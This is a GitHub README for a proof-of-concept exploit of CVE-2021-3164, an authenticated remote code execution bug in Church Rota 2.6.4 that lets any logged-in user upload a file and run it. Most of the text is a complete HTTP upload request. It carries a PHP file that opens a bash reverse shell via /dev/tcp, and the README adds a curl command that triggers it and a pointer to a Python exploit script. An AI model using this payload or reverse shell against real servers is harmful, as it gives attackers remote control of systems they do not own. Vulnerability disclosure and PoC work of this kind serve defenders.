rmccarth / cve-2021-3164 Public

Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. The user does not need to have file upload permission in order to upload and execute an arbitrary file. The application is written primarily with PHP so we use PHP in our PoC

2 stars 0 forks

Star Notifications

Code Issues Pull requests Actions Projects Security Insights

main Go to file

Rob McCarthy init commit ··· on Jan 19, 2021 2

View code

README.md

Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. The user does not need to have file upload permission in order to upload and execute an arbitrary file.

After logging into Church Rota, send the following request, replacing with your PHPSESSID:

```
POST /resources.php?action=newsent HTTP/1.1

Host: localhost:8081

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------78920178725041013532564196488

Content-Length: 571

Origin: http://localhost:8081

Connection: close

Referer: http://localhost:8081/resources.php?action=new

Cookie: PHPSESSID=ivaa0ck3snt9ajlm0od9d7lh4j

Upgrade-Insecure-Requests: 1

-----------------------------78920178725041013532564196488

Content-Disposition: form-data; name="resourcename"

exec

-----------------------------78920178725041013532564196488

Content-Disposition: form-data; name="resourcefile"; filename="exec.php"

Content-Type: text/plain

<?php

exec("/bin/bash -c 'bash -i > /dev/tcp/127.0.0.1/1234 0>&1'");

?>


-----------------------------78920178725041013532564196488

Content-Disposition: form-data; name="resourcedescription"


<p>text file upload</p>

-----------------------------78920178725041013532564196488--
```

The file can then be executed with the following:

```
curl localhost:80/documents/exec.php
```

or by clicking on the file under 'resources' within the web UI.

Or simply pip install pwntools and requests and then setup and run the provided cve-2021-3164.py exploit script.

Releases

No releases published

Packages

No packages published

Languages

- ● **Python** 100.0%